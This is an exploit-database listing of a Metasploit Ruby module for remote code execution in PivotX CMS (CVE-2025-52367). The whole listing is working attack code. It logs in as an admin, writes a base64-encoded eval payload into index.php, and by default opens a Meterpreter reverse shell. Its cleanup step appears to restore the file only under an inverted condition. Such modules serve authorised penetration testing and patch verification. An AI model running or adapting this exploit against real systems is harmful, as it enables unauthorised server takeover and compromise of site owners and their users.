Sploitus

Exploit for PivotX Remote Code Execution

metasploit Β· 2025-08-13

Exploit Code

ruby163 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-PIVOTX_INDEX_PHP_OVERWRITE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PivotX Remote Code Execution',
        'Description' => %q{
          This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'HayToN', # security research
          'msutovsky-r7' # module dev
        ],
        'References' => [
          [ 'EDB', '52361' ],
          [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
          [ 'CVE', '2025-52367']
        ],
        'Targets' => [
          [
            'Linux',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
        'DisclosureDate' => '2025-07-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
      OptString.new('PASSWORD', [true, 'PivotX password', '']),
      OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
    })

    return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

    return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

    html_body = res.get_html_document

    return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

    version = Rex::Version.new(Regexp.last_match(1))

    return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

    return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
  end

  def login
    data_post = Rex::MIME::Message.new
    data_post.add_part('', nil, nil, %(form-data; name="returnto"))
    data_post.add_part('', nil, nil, %(form-data; name="template"))
    data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
    data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
      'vars_get' => { 'page' => 'login' },
      'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
      'data' => data_post.to_s,
      'keep_cookies' => true
    })

    fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
    fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

    @csrf_token = Regexp.last_match(1)
  end

  def modify_file
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
      'vars_get' => { 'page' => 'homeexplore' }
    })

    fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

    @base_dir = Regexp.last_match(1)

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
      'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
    })

    fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200

    @original_value = res.get_html_document.at('textarea')&.text

    fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
      'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
    })

    fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    })
  end

  def restore
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
      'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
    })
    vprint_status('Restoring original content')
    vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
  end

  def cleanup
    super
    # original content can be any string, it cannot be nil
    restore if @original_value.nil?
  end

  def exploit
    vprint_status('Logging in PivotX')
    login
    vprint_status('Modifying file and injecting payload')
    modify_file
    vprint_status('Triggering payload')
    trigger_payload
  end
end